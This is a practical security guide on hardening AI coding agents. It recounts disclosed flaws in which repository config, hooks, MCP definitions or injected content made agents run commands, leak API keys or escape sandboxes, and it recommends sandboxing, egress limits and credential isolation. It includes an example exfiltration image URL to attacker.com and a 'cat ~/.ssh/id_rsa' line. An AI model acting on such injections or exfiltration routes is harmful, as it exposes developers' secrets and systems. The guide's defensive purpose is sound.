Securing AI Coding Agents: A Practical Guide

The old mental model for source-code security was simple: cloning a repository was mostly passive, and executing its code was the dangerous step. AI coding agents have made that distinction much less reliable.

Opening a Repository Is Now a Security Event

The old mental model for source-code security was simple: cloning a repository was mostly passive, and executing its code was the dangerous step. AI coding agents have made that distinction much less reliable.

In September 2026, Manifold Security disclosed GitSpawn, a class of flaws spanning seven CLI coding agents. In the affected flows, a repository’s own Git configuration could name a command that the agent would execute on the developer’s machine — outside the intended sandbox and without an approval prompt. On Claude Code and Hermes Agent, execution could occur before the workspace-trust prompt; on Qwen Code, before authentication; and on Grok Build, on the first keystroke. OpenAI assigned three CVEs to related Codex issues, including CVE-2026-19592. Four of the reported issues were still unpatched when Manifold published its disclosure.

That is the security change developers need to internalize: the repository is no longer just data waiting to be compiled or run. Configuration, agent metadata, MCP definitions, Git settings, hooks, and other files can participate in the execution path before the user believes they have authorized anything.

The pattern didn't begin with GitSpawn. Check Point’s research on Claude Code showed the same boundary failure in several forms. CVE-2026-21852 allowed API-key exfiltration by overriding ANTHROPIC_BASE_URL because the configuration was applied before the trust prompt appeared. A separate hooks vulnerability, GHSA-ph6w-f82w-28w6, could reach code execution through untrusted project hooks in .claude/settings.json. That hooks issue didn't receive a CVE. CVE-2025-59536 was a different flaw: repo-supplied MCP configuration could set enableAllProjectMcpServers: true and bypass the expected MCP approval flow.

Cursor has had parallel failures. CurXecute, CVE-2025-54135, used untrusted content delivered through an MCP-connected source to overwrite ~/.cursor/mcp.json and execute commands; the change could land on disk and execute even if the user rejected the proposed edit. MCPoison, CVE-2025-54136, demonstrated a different persistence problem: a benign MCP configuration could be approved once, changed later in the repository, and then continue to execute for the team on future project opens. Cursor 3.0 also addressed DuneSlide, CVE-2026-50548, and a symlink-related sandbox escape that could be reached through prompt injection.

These aren't isolated product bugs. They expose a structural problem: coding agents sit where trusted developer identity, untrusted content, powerful local tools, and network access meet.

Why the Same Pattern Keeps Reappearing

Simon Willison’s “lethal trifecta” is a useful way to reason about that structure. The risk becomes acute when an agent has three things at once: access to private data, exposure to untrusted content, and a channel to communicate externally.

A coding agent often has the first by design. It may be able to read source code, environment variables, cloud credentials, SSH material, package-manager credentials, local configuration, or browser-accessible developer resources. It gets the second from repositories, issues, pull requests, web pages, documentation, generated code, and MCP responses. And it gets the third through package managers, git, curl, API clients, telemetry, web tools, DNS, or other network-capable processes.

When all three are available in the same execution context, a successful indirect prompt injection doesn't need to “hack the model” in the traditional sense. It only needs to convince the model to use legitimate capabilities in a harmful sequence.

The useful metaphor isn't that an agent is malicious. It is that it is a very fast, highly privileged junior operator whose behavior can vary from run to run. If a control gap exists, a different prompt, file, tool response, or chain of reasoning may discover it next time. The permission rule itself may be deterministic; the model’s path through the available actions isn't. And because the agent can touch hundreds of files and invoke tools far faster than a human reviewer, small gaps scale quickly.

This is why prompt-level safety can't be the primary boundary. The model can reduce the probability of a bad action. Architecture determines what a bad action is capable of doing.

Architecture Matters More Than a Perfect Model

The strongest evidence for that claim comes from comparing the same class of prompt-injection testing across different execution surfaces. Anthropic’s Opus 4.6 system-card data reported 0% attack success across 200 attempts in a constrained coding environment. On a GUI surface without safeguards, the reported success rate was 17.8% on a single attempt and 78.6% across 200 attempts; even with safeguards, the multi-attempt figure was 57.1%.

The important result isn't a particular percentage. It's the spread. The model is only one part of the security system. Constrain the tools, filesystem, and network, and an injection has far less room to turn into an incident. Give the same model broad ambient authority and repeated attempts can probe the remaining gaps.

So the goal isn't to prove that the agent will always behave. It's to make misbehavior boring.

Start With the Boundary: Sandbox the Process and Close Egress

The highest-leverage control is to push security below the agent itself. Run coding agents under a dedicated, low-privilege OS identity and restrict them to the project they actually need. For routine development, that can mean an OS sandbox or a container with only the workspace bind-mounted. For sensitive projects, use a VM or separate development environment that doesn't share the developer’s normal home directory, credential stores, browser sessions, or personal files.

Then close outbound network access by default. Many development tasks don't require unrestricted Internet access at all. Where some egress is necessary, explicitly allow only the destinations the workflow requires. For example, you might need to grant access to approved package registries, source-control services, internal APIs, artifact repositories, or the organization’s model gateway. Prefer routing that traffic through an egress proxy or gateway where destination policy can be enforced and requests can be logged, rather than allowing the agent to make arbitrary outbound connections.

Treat the allowlist as a security boundary, not merely an agent preference. The agent shouldn't be able to add destinations to it, bypass the proxy, or fall back to direct Internet access. For higher-risk environments, consider routing package downloads through internal mirrors and model traffic through a controlled gateway so the agent never needs general Internet access in the first place. Keep destination lists as narrow as practical and review them periodically; broad wildcards such as entire cloud-provider domains can recreate much of the exposure that default-deny was intended to remove.

This breaks one leg of the lethal trifecta even when malicious instructions make it into context: an attacker may succeed in influencing the agent and may even cause it to access sensitive data, but exfiltration becomes substantially harder when the execution environment can't open arbitrary outbound connections.

Claude Code’s /sandbox support illustrates both the value and the limits of native agent controls. On macOS it uses Seatbelt; on Linux it uses bubblewrap. It's not available on native Windows, although it can be used through WSL2. More importantly, the feature includes an unsandboxed-command escape path, so it should be treated as a strong guardrail rather than an organizational hard boundary. Where enforcement matters, put the container or VM outside the agent and make the host enforce the boundary.

There's another reason to care about the OS layer: tool-level deny rules don't necessarily constrain what Bash can do. Blocking Read(~/.ssh/**) may stop the agent’s Read tool from opening a key, while Bash(cat ~/.ssh/id_rsa) can still reach it unless the process itself is sandboxed. A policy that exists only inside the agent isn't equivalent to a filesystem or network policy enforced by the operating system.

Keep Credentials Out of Reach

The second high-leverage control is to stop giving every coding session ambient access to developer secrets.

Before launching an agent, audit the environment it will inherit:

env | sort | grep -Ei 'KEY|TOKEN|SECRET|PASSWORD|AUTH|BASE_?URL|PROXY|AWS|AZURE|GITHUB'

Pay attention not only to obvious API keys, but also to configuration variables that can change where requests are sent. Variables such as ANTHROPIC_BASE_URL, OPENAI_BASE_URL, proxy settings, cloud profiles, and similar routing controls should be treated as security-sensitive configuration data.

Unset credentials the task doesn't require. Avoid launching an agent from a shell that already contains broad cloud, database, GitHub, or production credentials.

A stronger pattern is to keep secrets out of the agent's environment entirely and inject them only when an approved operation actually needs them.

Secret-management systems such as Doppler support this model. Instead of maintaining credentials in a project .env file or exporting them into the developer's shell, an approved command can receive the required secrets only when it runs:

doppler run --project my-project --config dev-agent -- ./approved-command

Doppler's run command injects secrets into the launched process rather than requiring them to be stored in the repository or a plaintext .env file. Doppler can also scope service tokens to a particular project configuration, and in CI/CD environments it supports OIDC-based authentication so a workload can obtain short-lived access without maintaining another long-lived static credential.

The important boundary, however, is where the injection occurs.

If the coding agent itself has unrestricted access to Doppler—or if it can execute arbitrary doppler secrets commands—then moving secrets into Doppler doesn't actually remove them from the agent's reach. The safer architecture is:

Agent → approved tool or task → credential-injection layer → protected service

For example, the agent might be allowed to invoke a deployment script, database migration tool, or MCP operation without ever receiving the underlying AWS key, database password, or API token. A trusted wrapper, CI runner, gateway, or separate execution service obtains the credential and performs the privileged operation.

This also makes least privilege easier to enforce. The credential supplied to that operation should be:

  • limited to the specific service and environment required;
  • read-only where possible;
  • short-lived where supported;
  • unavailable to unrelated agent sessions; and
  • injected only into the process that actually needs it.

For applications that require file-based credentials, avoid simply writing permanent .env, kubeconfig, SSH-key, or credential files into the workspace. Doppler, for example, supports ephemeral file mounting that is cleaned up when the managed process exits.

The same principle applies to the developer's home directory. A normal account may expose:

~/.aws/credentials
~/.ssh/
~/.docker/
~/.kube/config
.env
cloud CLI profiles
signing keys
cached access tokens

Consider running high-autonomy agents under a separate OS account, container, VM, or restricted workspace that can't read those locations.

The goal isn't merely to tell the agent, "don't use these credentials." It's to design the environment so those credentials are never available to the agent in the first place.

The safest secret isn't the one the agent has been instructed to ignore. It's the one the agent can't even read.

Treat Untrusted Content as Hostile Input

Prompt injection becomes much easier to manage once untrusted content is treated as input to a program rather than prose for a helpful assistant.

Don't feed raw external content directly into a tool-enabled session when the agent also has sensitive local access. For a new project, issue, pull request, web page, or MCP response, use a read-only inspection pass first. Summarize or normalize what the agent needs, then move only the required information into the action-enabled workflow.

Human approval still matters, but it should sit on top of hard controls rather than substitute for them. Approval prompts are most useful for commits, pushes, network calls, package installation, container changes, or other clearly consequential actions. They are less useful when a vulnerability can cause execution before the prompt appears, when a persistent configuration has already been trusted, or when a command is disguised inside an action the user expects.

That is the recurring lesson from the recent CVEs: trust dialogs are user-interface controls. They aren't a reliable security boundary if configuration is consumed before the dialog, if trusted configuration can change later, or if another execution path bypasses the guarded tool.

MCP and Dependencies Are Part of Your Supply Chain

MCP servers, extensions, package managers, and repository configuration should be managed like executable dependencies. They can introduce code, credentials, filesystem access, or network access into the agent’s environment, so approval should not be a one-time ceremony.

For Claude Code, managed-mcp.json is the relevant enterprise mechanism for taking exclusive control of MCP configuration. When deployed, users can't add their own servers. An empty {"mcpServers": {}} disables MCP entirely. This is a Claude Code control, not a Claude Desktop mechanism. In either product, third-party servers should be explicitly approved, version-pinned where practical, given only the workspace paths and credentials they need, and isolated in a container when they don't require host access. MCPoison makes the additional point that a configuration approved once must be re-reviewed when it changes.

Package management needs the same discipline, especially because coding agents can confidently invent or select package names. Slopsquatting turns hallucinated dependencies into a supply-chain opportunity.

For Python projects using uv, commit uv.lock and install from the lock. A release-age policy can be enforced natively with exclude-newer = "7 days" in uv.toml. If you want pip-audit to inspect the resolved dependencies, export them first:

uv export --format requirements-txt | pip-audit -r -

For pnpm, keep pnpm-lock.yaml under version control and use frozen-lockfile installs in controlled builds. If the organization wants a seven-day minimum package age, the value is 10080 minutes and belongs in pnpm-workspace.yaml or the global config.yaml on pnpm 11. On pnpm 10.x, be aware of pnpm#10008: minimumReleaseAge can be silently ignored when any workspace package sets shared-workspace-lockfile=false. A control that can fail silently needs an independent check in CI.

Finally, keep the agents themselves current. Cursor’s 2026 sandbox-escape fixes are a reminder that the sandbox implementation is software too. Pinning an old agent version can preserve the very escape path the rest of the architecture assumes has been closed.

Logging and DLP Need to Understand Agent Behavior

Traditional DLP is useful, but agent workflows create exfiltration paths that don't always look like a developer uploading a file. Sensitive data can be embedded in a URL parameter, generated telemetry, a tool call, a git operation, or even a rendered external markdown image such as ![](https://attacker.com/log?data=...).

That makes egress visibility important. Log agent tool calls, command arguments, package-install activity, and network metadata where possible. Disable autonomous web fetching in sensitive contexts. Consider blocking automatic rendering of external images in markdown or documentation previews. Keep workspace-exclusion files such as .cursorignore and .gitignore accurate, but treat them as hygiene and context reduction rather than your only secret boundary.

For high-value environments, send agent execution and egress telemetry to the same central logging system used for endpoint and network monitoring. The objective isn't to record every generated token. It is to preserve the actions that changed state or crossed a trust boundary.

When the Project Justifies a Stronger Boundary

Some projects deserve more than a developer-laptop sandbox. Infrastructure-as-code for production, signing systems, identity platforms, security tooling, regulated data pipelines, and projects containing customer secrets may justify a separate VM, dedicated workstation, or VLAN-isolated development environment.

That should be a risk-based escalation, not a universal mandate. The important design question is whether a compromised agent session can reach assets outside the project it was meant to work on. If the answer is yes, the blast radius is still too large.

Appendix: Tool-Specific Baselines

The controls below are examples for the products discussed here, not a complete list of agent platforms. Product behavior changes quickly, so validate paths and policy names against the version you deploy.

Tool Practical baseline
Claude Desktop Allow only required MCP servers and connectors; keep connector permissions narrow; separate personal and business workspaces; don't assume Claude Code’s managed-mcp.json policy applies to Desktop.
Claude Code Use root-owned managed-settings.json for enterprise policy (/etc/claude-code/ on Linux/WSL or /Library/Application Support/ClaudeCode/ on macOS); use /sandbox where available, but require external container/VM isolation when the boundary must be enforceable; use managed-mcp.json for an exclusive MCP allowlist or disable MCP with an empty server set; use Plan Mode or read-only inspection for untrusted repositories before allowing actions.
Cursor Enforce Workspace Trust; require approval for auto-run/background shell tasks; keep .cursorignore current; pin and re-review MCP configuration changes; stay current on releases containing sandbox and symlink fixes.
Codex CLI Use admin-enforced requirements.toml to forbid unsafe configurations such as approval_policy = "never" and sandbox_mode = "danger-full-access"; prefer read-only or workspace-write sandbox modes, noting that workspace-write blocks network access by default; use the stricter approval_policy = "untrusted" when appropriate rather than treating the default on-request pairing as hardening; restrict inherited environment variables explicitly.

For Codex, a restrictive environment policy can look like:

[shell_environment_policy]
inherit = "none"
include_only = ["PATH", "HOME", "TMPDIR", "LANG"]

Bound the Agent, Not Just the Prompt

The last year of coding-agent vulnerabilities points in one direction. The dangerous boundary is no longer simply “source code versus executed code.” Repository configuration, MCP definitions, Git metadata, agent settings, extensions, environment variables, and network-capable tools all participate in the execution system.

That makes the security strategy clearer: Remove ambient credentials. Treat external content as hostile input. Put the agent inside a filesystem and process boundary it can't talk its way around. Close off network egress unless the task requires it, and then white-list permitted destinations. Manage MCP and package configuration as supply-chain code. Log the actions that cross trust boundaries.

Models will continue to get better at recognizing prompt injection and refusing suspicious instructions. That's useful as an element of defense in depth, but the sturdier control is architectural: assume the model will eventually make a bad decision and design the environment so that decision can't become a catastrophic one.